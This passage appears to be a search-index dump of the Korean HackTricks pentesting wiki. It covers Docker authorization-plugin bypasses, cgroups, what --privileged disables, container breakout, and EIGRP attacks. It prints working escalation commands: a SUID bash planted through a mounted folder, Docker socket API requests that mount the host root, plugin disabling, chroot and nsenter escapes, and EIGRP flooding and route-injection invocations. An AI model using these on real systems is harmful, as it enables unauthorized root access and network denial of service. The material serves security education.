Docker Security » AuthZ& AuthN - Docker Access Authorization Plugin » 컨테이너 실행 후 특권 세션 얻기","id":"1593","title":"컨테이너 실행 후 특권 세션 얻기"},"1594":{"body":"이 경우 시스템 관리자는 사용자가 --privileged 플래그로 컨테이너를 실행하는 것을 금지 하거나 컨테이너에 추가 권한을 부여하지 않았으며, /tmp 폴더만 마운트하는 것을 허용했습니다. bash host> cp /bin/bash /tmp #Cerate a copy of bash\\nhost> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell\\ndocker container> chown root:root /host/bash\\ndocker container> chmod u+s /host/bash\\nhost> /tmp/bash\\n-p #This will give you a shell as root note /tmp 폴더를 마운트할 수 없을 수도 있지만, 다른 쓰기 가능한 폴더 를 마운트할 수 있습니다. 쓰기 가능한 디렉토리는 다음을 사용하여 찾을 수 있습니다: find / -writable -type d 2>/dev/null 리눅스 머신의 모든 디렉토리가 suid 비트를 지원하는 것은 아닙니다! suid 비트를 지원하는 디렉토리를 확인하려면 mount | grep -v \\"nosuid\\"를 실행하세요. 예를 들어, 일반적으로 /dev/shm, /run, /proc, /sys/fs/cgroup 및 /var/lib/lxcfs는 suid 비트를 지원하지 않습니다. 또한 /etc 또는 구성 파일이 포함된 다른 폴더를 마운트할 수 있다면 , 도커 컨테이너에서 루트로 변경하여 호스트에서 악용하고 권한을 상승시킬 수 있습니다 (예: /etc/shadow 수정).","breadcrumbs":"Linux Privilege Escalation » Docker Security » AuthZ& AuthN - Docker Access Authorization Plugin » 쓰기 가능한 폴더 마운트","id":"1594","title":"쓰기 가능한 폴더 마운트"},"1595":{"body":"이 플러그인을 구성하는 시스템 관리자의 책임은 각 사용자가 수행할 수 있는 작업과 권한을 제어하는 것입니다. 따라서 관리자가 엔드포인트와 속성에 대해 블랙리스트 접근 방식을 취하면, 공격자가 권한을 상승시킬 수 있는 일부를 잊어버릴 수 있습니다. 도커 API를 확인할 수 있습니다: https://docs.docker.com/engine/api/v1.40/#","breadcrumbs":"Linux Privilege Escalation » Docker Security » AuthZ& AuthN - Docker Access Authorization Plugin » Unchecked API Endpoint","id":"1595","title":"Unchecked API Endpoint"},"1596":{"body":"","breadcrumbs":"Linux Privilege Escalation » Docker Security » AuthZ& AuthN - Docker Access Authorization Plugin » Unchecked JSON Structure","id":"1596","title":"Unchecked JSON Structure"},"1597":{"body":"시스템 관리자가 도커 방화벽을 구성할 때 API 의 \\" Binds \\"와 같은 중요한 매개변수를 잊어버렸을 가능성이 있습니다. 다음 예제에서는 이 잘못된 구성을 악용하여 호스트의 루트 (/) 폴더를 마운트하는 컨테이너를 생성하고 실행할 수 있습니다: bash docker version #First, find the API version of docker, 1.40 in this example\\ndocker images #List the images available\\n#Then, a container that mounts the root folder of the host\\ncurl --unix-socket /var/run/docker.sock -H \\"Content-Type: application/json\\" -d \'{\\"Image\\": \\"ubuntu\\", \\"Binds\\":[\\"/:/host\\"]}\' http:/v1.40/containers/create\\ndocker start f6932bc153ad #Start the created privileged container\\ndocker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it\\n#You can access the host filesystem warning 이 예제에서 Binds 매개변수를 JSON의 루트 수준 키로 사용하고 있지만 API에서는 HostConfig 키 아래에 나타나는 것을 주목하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » AuthZ& AuthN - Docker Access Authorization Plugin » Binds in root","id":"1597","title":"Binds in root"},"1598":{"body":"루트의 Binds 와 동일한 지침을 따라 Docker API에 이 요청 을 수행하세요: bash curl --unix-socket /var/run/docker.sock -H \\"Content-Type: application/json\\" -d \'{\\"Image\\": \\"ubuntu\\", \\"HostConfig\\":{\\"Binds\\":[\\"/:/host\\"]}}\' http:/v1.40/containers/create","breadcrumbs":"Linux Privilege Escalation » Docker Security » AuthZ& AuthN - Docker Access Authorization Plugin » HostConfig의 Binds","id":"1598","title":"HostConfig의 Binds"},"1599":{"body":"Binds in root 와 동일한 지침을 따르며 Docker API에 이 요청 을 수행합니다: bash curl --unix-socket /var/run/docker.sock -H \\"Content-Type: application/json\\" -d \'{\\"Image\\": \\"ubuntu-sleep\\", \\"Mounts\\": [{\\"Name\\": \\"fac36212380535\\", \\"Source\\": \\"/\\", \\"Destination\\": \\"/host\\", \\"Driver\\": \\"local\\", \\"Mode\\": \\"rw,Z\\", \\"RW\\": true, \\"Propagation\\": \\"\\", \\"Type\\": \\"bind\\", \\"Target\\": \\"/host\\"}]}\' http:/v1.40/containers/create","breadcrumbs":"Linux Privilege Escalation » Docker Security » AuthZ& AuthN - Docker Access Authorization Plugin » Mounts in root","id":"1599","title":"Mounts in root"},"16":{"body":"HackTricks Github 통계 tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"HackTricks » Github 통계","id":"16","title":"Github 통계"},"160":{"body":"목표 : EIGRP hello 패킷으로 라우터 CPU를 과부하 시켜 서비스 거부(DoS) 공격으로 이어질 수 있습니다. 도구 : helloflooding.py 스크립트. 실행 : %%%bash ~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24 %%% 매개변수 : --interface: 네트워크 인터페이스를 지정합니다, 예: eth0. --as: EIGRP 자율 시스템 번호를 정의합니다, 예: 1. --subnet: 서브넷 위치를 설정합니다, 예: 10.10.100.0/24.","breadcrumbs":"Pentesting Network » EIGRP Attacks » 가짜 EIGRP 이웃 공격","id":"160","title":"가짜 EIGRP 이웃 공격"},"1600":{"body":"Binds in root 와 동일한 지침을 따르며, Docker API에 이 요청 을 수행합니다: bash curl --unix-socket /var/run/docker.sock -H \\"Content-Type: application/json\\" -d \'{\\"Image\\": \\"ubuntu-sleep\\", \\"HostConfig\\":{\\"Mounts\\": [{\\"Name\\": \\"fac36212380535\\", \\"Source\\": \\"/\\", \\"Destination\\": \\"/host\\", \\"Driver\\": \\"local\\", \\"Mode\\": \\"rw,Z\\", \\"RW\\": true, \\"Propagation\\": \\"\\", \\"Type\\": \\"bind\\", \\"Target\\": \\"/host\\"}]}}\' http:/v1.40/containers/cre","breadcrumbs":"Linux Privilege Escalation » Docker Security » AuthZ& AuthN - Docker Access Authorization Plugin » Mounts in HostConfig","id":"1600","title":"Mounts in HostConfig"},"1601":{"body":"시스템 관리자가 도커 방화벽을 구성할 때 API 의 \\" HostConfig \\" 내의 \\" Capabilities \\"와 같은 매개변수의 중요한 속성을 잊었을 가능성이 있습니다 . 다음 예제에서는 이 잘못된 구성을 악용하여 SYS_MODULE 권한을 가진 컨테이너를 생성하고 실행할 수 있습니다: bash docker version\\ncurl --unix-socket /var/run/docker.sock -H \\"Content-Type: application/json\\" -d \'{\\"Image\\": \\"ubuntu\\", \\"HostConfig\\":{\\"Capabilities\\":[\\"CAP_SYS_MODULE\\"]}}\' http:/v1.40/containers/create\\ndocker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa\\ndocker ps\\ndocker exec -it c52a77629a91 bash\\ncapsh --print\\n#You can abuse the SYS_MODULE capability note **HostConfig**는 일반적으로 컨테이너에서 탈출하기 위한 흥미로운 권한 을 포함하는 키입니다. 그러나 이전에 논의한 바와 같이, 그 외부에서 Binds를 사용하는 것도 작동하며 제한을 우회할 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » AuthZ& AuthN - Docker Access Authorization Plugin » Unchecked JSON Attribute","id":"1601","title":"Unchecked JSON Attribute"},"1602":{"body":"sysadmin 이 플러그인 을 비활성화 할 수 있는 능력을 금지하는 것을 잊었다면 , 이를 이용하여 완전히 비활성화할 수 있습니다! bash docker plugin list #Enumerate plugins # If you don’t have access to enumerate the plugins you can see the name of the plugin in the error output:\\ndocker: Error response from daemon: authorization denied by plugin authobot:latest: use of Privileged containers is not allowed.\\n# \\"authbolt\\" is the name of the previous plugin docker plugin disable authobot\\ndocker run --rm -it --privileged -v /:/host ubuntu bash\\ndocker plugin enable authobot 플러그인을 승격 후 다시 활성화하는 것을 잊지 마세요 , 그렇지 않으면 docker 서비스의 재시작이 작동하지 않습니다 !","breadcrumbs":"Linux Privilege Escalation » Docker Security » AuthZ& AuthN - Docker Access Authorization Plugin » 플러그인 비활성화","id":"1602","title":"플러그인 비활성화"},"1603":{"body":"https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/ tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » AuthZ& AuthN - Docker Access Authorization Plugin » Auth Plugin Bypass writeups","id":"1603","title":"Auth Plugin Bypass writeups"},"1604":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » CGroups » CGroups","id":"1604","title":"CGroups"},"1605":{"body":"Linux Control Groups 또는 cgroups 는 CPU, 메모리 및 디스크 I/O와 같은 시스템 리소스를 프로세스 그룹 간에 할당, 제한 및 우선 순위를 지정할 수 있는 Linux 커널의 기능입니다. 이는 리소스 제한, 작업 부하 격리 및 다양한 프로세스 그룹 간의 리소스 우선 순위 지정과 같은 목적을 위해 프로세스 컬렉션의 리소스 사용을 관리하고 격리하는 메커니즘을 제공합니다. cgroups의 두 가지 버전 이 있습니다: 버전 1과 버전 2. 두 버전 모두 시스템에서 동시에 사용할 수 있습니다. 주요 차이점은 cgroups 버전 2 가 계층적이고 트리와 같은 구조 를 도입하여 프로세스 그룹 간의 리소스 분배를 보다 세밀하고 상세하게 할 수 있게 한다는 것입니다. 또한, 버전 2는 새로운 리소스 컨트롤러 에 대한 지원, 레거시 애플리케이션에 대한 더 나은 지원 및 성능 향상과 같은 다양한 개선 사항을 가져옵니다. 전반적으로 cgroups 버전 2는 버전 1보다 더 많은 기능과 더 나은 성능 을 제공하지만, 후자는 구형 시스템과의 호환성이 우려되는 특정 시나리오에서 여전히 사용될 수 있습니다. 프로세스의 cgroup 파일을 /proc/에서 확인하여 v1 및 v2 cgroups를 나열할 수 있습니다. 이 명령어로 셸의 cgroups를 확인하는 것부터 시작할 수 있습니다: shell-session $ cat /proc/self/cgroup\\n12:rdma:/\\n11:net_cls,net_prio:/\\n10:perf_event:/\\n9:cpuset:/\\n8:cpu,cpuacct:/user.slice\\n7:blkio:/user.slice\\n6:memory:/user.slice 5:pids:/user.slice/user-1000.slice/session-2.scope 4:devices:/user.slice\\n3:freezer:/\\n2:hugetlb:/testcgroup\\n1:name=systemd:/user.slice/user-1000.slice/session-2.scope\\n0::/user.slice/user-1000.slice/session-2.scope 숫자 2–12 : cgroups v1, 각 줄은 다른 cgroup을 나타냅니다. 이들의 컨트롤러는 숫자 옆에 지정되어 있습니다. 숫자 1 : 또한 cgroups v1이지만 관리 목적으로만 사용되며(예: systemd에 의해 설정됨) 컨트롤러가 없습니다. 숫자 0 : cgroups v2를 나타냅니다. 컨트롤러가 나열되지 않으며, 이 줄은 cgroups v2만 실행하는 시스템에서 독점적입니다. 이름은 계층적이며 , 파일 경로를 닮아 서로 다른 cgroups 간의 구조와 관계를 나타냅니다. /user.slice 또는 /system.slice 와 같은 이름은 cgroups의 분류를 지정하며, user.slice는 일반적으로 systemd에 의해 관리되는 로그인 세션을 위해, system.slice는 시스템 서비스를 위해 사용됩니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » CGroups » Basic Information","id":"1605","title":"Basic Information"},"1606":{"body":"파일 시스템은 일반적으로 cgroups 에 접근하는 데 사용되며, 전통적으로 커널 상호작용에 사용되는 Unix 시스템 호출 인터페이스와는 다릅니다. 셸의 cgroup 구성을 조사하려면 /proc/self/cgroup 파일을 확인해야 하며, 이 파일은 셸의 cgroup을 보여줍니다. 그런 다음 /sys/fs/cgroup (또는 /sys/fs/cgroup/unified ) 디렉토리로 이동하여 cgroup의 이름과 공유하는 디렉토리를 찾으면 cgroup과 관련된 다양한 설정 및 자원 사용 정보를 관찰할 수 있습니다. Cgroup Filesystem cgroups의 주요 인터페이스 파일은 cgroup 으로 접두사가 붙습니다. cgroup.procs 파일은 표준 명령(cat 등)으로 볼 수 있으며, cgroup 내의 프로세스를 나열합니다. 또 다른 파일인 cgroup.threads 는 스레드 정보를 포함합니다. Cgroup Procs 셸을 관리하는 cgroups는 일반적으로 메모리 사용량과 프로세스 수를 조절하는 두 개의 컨트롤러를 포함합니다. 컨트롤러와 상호작용하려면 컨트롤러의 접두사가 붙은 파일을 참조해야 합니다. 예를 들어, pids.current 를 참조하여 cgroup 내의 스레드 수를 확인할 수 있습니다. Cgroup Memory 값에 max 가 표시되면 cgroup에 대한 특정 제한이 없음을 나타냅니다. 그러나 cgroups의 계층적 특성으로 인해, 하위 디렉토리 계층의 cgroup에서 제한이 부과될 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » CGroups » cgroups 보기","id":"1606","title":"cgroups 보기"},"1607":{"body":"프로세스는 cgroup.procs 파일에 프로세스 ID (PID)를 작성하여 cgroups에 할당됩니다. 이는 루트 권한이 필요합니다. 예를 들어, 프로세스를 추가하려면: bash echo [pid] > cgroup.procs 유사하게, PID 제한을 설정하는 것과 같은 cgroup 속성을 수정하는 것은 원하는 값을 관련 파일에 작성함으로써 수행됩니다. cgroup에 대해 최대 3,000개의 PID를 설정하려면: bash echo 3000 > pids.max 새 cgroups 생성 은 cgroup 계층 내에 새로운 하위 디렉토리를 만드는 것을 포함하며, 이는 커널이 필요한 인터페이스 파일을 자동으로 생성하도록 유도합니다. 활성 프로세스가 없는 cgroups는 rmdir로 제거할 수 있지만, 특정 제약 사항을 인지해야 합니다: 프로세스는 리프 cgroups에만 배치될 수 있습니다 (즉, 계층에서 가장 중첩된 것들). cgroup은 부모에 없는 컨트롤러를 가질 수 없습니다 . 자식 cgroups의 컨트롤러는 cgroup.subtree_control 파일에 명시적으로 선언되어야 합니다 . 예를 들어, 자식 cgroup에서 CPU 및 PID 컨트롤러를 활성화하려면: bash echo \\"+cpu +pids\\" > cgroup.subtree_control 루트 cgroup 은 이러한 규칙의 예외로, 프로세스를 직접 배치할 수 있습니다. 이는 systemd 관리에서 프로세스를 제거하는 데 사용될 수 있습니다. cgroup 내에서 CPU 사용량 모니터링 은 cpu.stat 파일을 통해 가능하며, 총 CPU 시간 소비를 표시하여 서비스의 하위 프로세스에서 사용량을 추적하는 데 유용합니다: cpu.stat 파일에 표시된 CPU 사용 통계","breadcrumbs":"Linux Privilege Escalation » Docker Security » CGroups » cgroups 조작 및 생성","id":"1607","title":"cgroups 조작 및 생성"},"1608":{"body":"Book: How Linux Works, 3rd Edition: What Every Superuser Should Know By Brian Ward tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » CGroups » References","id":"1608","title":"References"},"1609":{"body":"Reading time: 7 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker --privileged » Docker --privileged","id":"1609","title":"Docker --privileged"},"161":{"body":"목표 : 잘못된 경로를 주입하여 네트워크 트래픽 흐름을 방해하고, 트래픽이 존재하지 않는 목적지로 향하게 합니다. 도구 : routeinject.py 스크립트. 실행 : %%%bash ~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32 %%% 매개변수 : --interface: 공격자의 시스템 인터페이스를 지정합니다. --as: EIGRP AS 번호를 정의합니다. --src: 공격자의 IP 주소를 설정합니다. --dst: 대상 서브넷 IP를 설정합니다. --prefix: 대상 서브넷 IP의 마스크를 정의합니다.","breadcrumbs":"Pentesting Network » EIGRP Attacks » EIGRP 블랙홀 공격","id":"161","title":"EIGRP 블랙홀 공격"},"1610":{"body":"privileged 컨테이너를 실행할 때 비활성화되는 보호 기능은 다음과 같습니다:","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker --privileged » What Affects","id":"1610","title":"What Affects"},"1611":{"body":"privileged 컨테이너에서는 모든 장치에 /dev/에서 접근할 수 있습니다 . 따라서 호스트의 디스크를 마운트 하여 탈출 할 수 있습니다. Inside default container\\nInside Privileged Container bash # docker run --rm -it alpine sh\\nls /dev\\nconsole fd mqueue ptmx random stderr stdout urandom\\ncore full null pts shm stdin tty zero bash # docker run --rm --privileged -it alpine sh\\nls /dev\\ncachefiles mapper port shm tty24 tty44 tty7\\nconsole mem psaux stderr tty25 tty45 tty8\\ncore mqueue ptmx stdin tty26 tty46 tty9\\ncpu nbd0 pts stdout tty27 tty47 ttyS0\\n[...]","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker --privileged » Mount /dev","id":"1611","title":"Mount /dev"},"1612":{"body":"커널 파일 시스템은 프로세스가 커널의 동작을 수정할 수 있는 메커니즘을 제공합니다. 그러나 컨테이너 프로세스의 경우, 커널에 대한 변경을 방지하고자 합니다. 따라서 커널 파일 시스템을 읽기 전용 으로 컨테이너 내에 마운트하여 컨테이너 프로세스가 커널을 수정할 수 없도록 합니다. 기본 컨테이너 내부\\nInside Privileged Container bash # docker run --rm -it alpine sh\\nmount | grep \'(ro\'\\nsysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)\\ncpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)\\ncpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu)\\ncpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct) bash # docker run --rm --privileged -it alpine sh\\nmount | grep \'(ro\'","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker --privileged » 읽기 전용 커널 파일 시스템","id":"1612","title":"읽기 전용 커널 파일 시스템"},"1613":{"body":"/proc 파일 시스템은 선택적으로 쓰기가 가능하지만 보안을 위해 특정 부분은 tmpfs 로 덮어씌워져 쓰기 및 읽기 접근이 차단되어 컨테이너 프로세스가 민감한 영역에 접근할 수 없도록 합니다. [!NOTE] > tmpfs 는 모든 파일을 가상 메모리에 저장하는 파일 시스템입니다. tmpfs는 하드 드라이브에 파일을 생성하지 않습니다. 따라서 tmpfs 파일 시스템을 언마운트하면 그 안에 있는 모든 파일은 영원히 사라집니다. Inside default container\\nInside Privileged Container bash # docker run --rm -it alpine sh\\nmount | grep /proc.*tmpfs\\ntmpfs on /proc/acpi type tmpfs (ro,relatime)\\ntmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)\\ntmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755) bash # docker run --rm --privileged -it alpine sh\\nmount | grep /proc.*tmpfs","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker --privileged » 커널 파일 시스템 마스킹","id":"1613","title":"커널 파일 시스템 마스킹"},"1614":{"body":"컨테이너 엔진은 기본적으로 컨테이너 내부에서 발생하는 것을 제어하기 위해 제한된 수의 기능 으로 컨테이너를 시작합니다. 특권 이 있는 경우 모든 기능 에 접근할 수 있습니다. 기능에 대해 알아보려면 읽어보세요: Linux Capabilities 기본 컨테이너 내부\\nInside Privileged Container bash # docker run --rm -it alpine sh\\napk add -U libcap; capsh --print\\n[...]\\nCurrent: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=eip\\nBounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap\\n[...] bash # docker run --rm --privileged -it alpine sh\\napk add -U libcap; capsh --print\\n[...]\\nCurrent: =eip cap_perfmon,cap_bpf,cap_checkpoint_restore-eip\\nBounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read\\n[...] 컨테이너에서 사용할 수 있는 권한을 --privileged 모드로 실행하지 않고도 --cap-add 및 --cap-drop 플래그를 사용하여 조작할 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker --privileged » 리눅스 기능","id":"1614","title":"리눅스 기능"},"1615":{"body":"Seccomp 는 컨테이너가 호출할 수 있는 syscalls 를 제한 하는 데 유용합니다. 기본적으로 도커 컨테이너를 실행할 때 기본 seccomp 프로파일이 활성화되지만, 특권 모드에서는 비활성화됩니다. Seccomp에 대해 더 알아보세요: Seccomp Inside default container\\nInside Privileged Container bash # docker run --rm -it alpine sh\\ngrep Seccomp /proc/1/status\\nSeccomp:\\t2\\nSeccomp_filters:\\t1 bash # docker run --rm --privileged -it alpine sh\\ngrep Seccomp /proc/1/status\\nSeccomp:\\t0\\nSeccomp_filters:\\t0 bash # You can manually disable seccomp in docker with\\n--security-opt seccomp=unconfined 또한, Kubernetes 클러스터에서 Docker(또는 다른 CRI)를 사용할 때 seccomp 필터는 기본적으로 비활성화되어 있습니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker --privileged » Seccomp","id":"1615","title":"Seccomp"},"1616":{"body":"AppArmor 는 컨테이너 를 제한된 리소스 집합에 프로그램별 프로파일 로 제한하는 커널 향상 기능입니다. --privileged 플래그로 실행할 때 이 보호 기능은 비활성화됩니다. AppArmor bash # You can manually disable seccomp in docker with\\n--security-opt apparmor=unconfined","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker --privileged » AppArmor","id":"1616","title":"AppArmor"},"1617":{"body":"--privileged 플래그로 컨테이너를 실행하면 SELinux 레이블 이 비활성화되어 컨테이너 엔진의 레이블, 일반적으로 unconfined를 상속받아 컨테이너 엔진과 유사한 전체 접근 권한을 부여합니다. 루트리스 모드에서는 container_runtime_t를 사용하고, 루트 모드에서는 spc_t가 적용됩니다. SELinux bash # You can manually disable selinux in docker with\\n--security-opt label:disable","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker --privileged » SELinux","id":"1617","title":"SELinux"},"1618":{"body":"","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker --privileged » 영향을 미치지 않는 것","id":"1618","title":"영향을 미치지 않는 것"},"1619":{"body":"네임스페이스는 --privileged 플래그의 영향을 받지 않습니다 . 보안 제약이 활성화되어 있지 않더라도, 예를 들어 시스템이나 호스트 네트워크의 모든 프로세스를 볼 수는 없습니다 . 사용자는 --pid=host, --net=host, --ipc=host, --uts=host 컨테이너 엔진 플래그를 사용하여 개별 네임스페이스를 비활성화할 수 있습니다. Inside default privileged container\\nInside --pid=host Container bash # docker run --rm --privileged -it alpine sh\\nps -ef\\nPID USER TIME COMMAND\\n1 root 0:00 sh\\n18 root 0:00 ps -ef bash # docker run --rm --privileged --pid=host -it alpine sh\\nps -ef\\nPID USER TIME COMMAND\\n1 root 0:03 /sbin/init\\n2 root 0:00 [kthreadd]\\n3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs\\n[...]","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker --privileged » 네임스페이스","id":"1619","title":"네임스페이스"},"162":{"body":"목표 : 변경된 K-값을 주입하여 EIGRP 도메인 내에서 지속적인 중단 및 재연결을 생성하여 사실상 DoS 공격을 발생시킵니다. 도구 : relationshipnightmare.py 스크립트. 실행 : %%%bash ~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100 %%% 매개변수 : --interface: 네트워크 인터페이스를 지정합니다. --as: EIGRP AS 번호를 정의합니다. --src: 합법적인 라우터의 IP 주소를 설정합니다.","breadcrumbs":"Pentesting Network » EIGRP Attacks » K-값 남용 공격","id":"162","title":"K-값 남용 공격"},"1620":{"body":"기본적으로, 컨테이너 엔진은 루트 없는 컨테이너를 제외하고 사용자 네임스페이스를 사용하지 않습니다. 루트 없는 컨테이너는 파일 시스템 마운팅과 여러 UID 사용을 위해 사용자 네임스페이스가 필요합니다. 루트 없는 컨테이너에 필수적인 사용자 네임스페이스는 비활성화할 수 없으며, 권한을 제한하여 보안을 크게 향상시킵니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker --privileged » 사용자 네임스페이스","id":"1620","title":"사용자 네임스페이스"},"1621":{"body":"https://www.redhat.com/sysadmin/privileged-flag-container-engines tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker --privileged » 참조","id":"1621","title":"참조"},"1622":{"body":"Reading time: 18 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Docker Breakout / Privilege Escalation","id":"1622","title":"Docker Breakout / Privilege Escalation"},"1623":{"body":"linpeas : 이 도구는 컨테이너를 열거할 수 있습니다 CDK : 이 도구는 당신이 있는 컨테이너를 열거하는 데 유용하며 자동으로 탈출을 시도할 수 있습니다 amicontained : 탈출 방법을 찾기 위해 컨테이너가 가진 권한을 얻는 데 유용한 도구입니다 deepce : 컨테이너에서 열거하고 탈출하는 도구입니다 grype : 이미지에 설치된 소프트웨어에 포함된 CVE를 가져옵니다","breadcrumbs":"Linux Privilege Escalation » Docker Security » Docker Breakout / Privilege Escalation » Automatic Enumeration & Escape","id":"1623","title":"Automatic Enumeration & Escape"},"1624":{"body":"어떤 방법으로든 docker socket이 도커 컨테이너 내부에 마운트되어 있다면, 당신은 그곳에서 탈출할 수 있습니다. 이는 일반적으로 어떤 이유로 도커 데몬에 연결하여 작업을 수행해야 하는 도커 컨테이너에서 발생합니다. bash #Search the socket\\nfind / -name docker.sock 2>/dev/null\\n#It\'s usually in /run/docker.sock 이 경우 일반적인 docker 명령어를 사용하여 docker 데몬과 통신할 수 있습니다: bash #List images to use one\\ndocker images\\n#Run the image mounting the host disk and chroot on it\\ndocker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash # Get full access to the host via ns pid and nsenter cli\\ndocker run -it --rm --pid=host --privileged ubuntu bash\\nnsenter --target 1 --mount --uts --ipc --net --pid -- bash # Get full privs in container without --privileged\\ndocker run -it -v 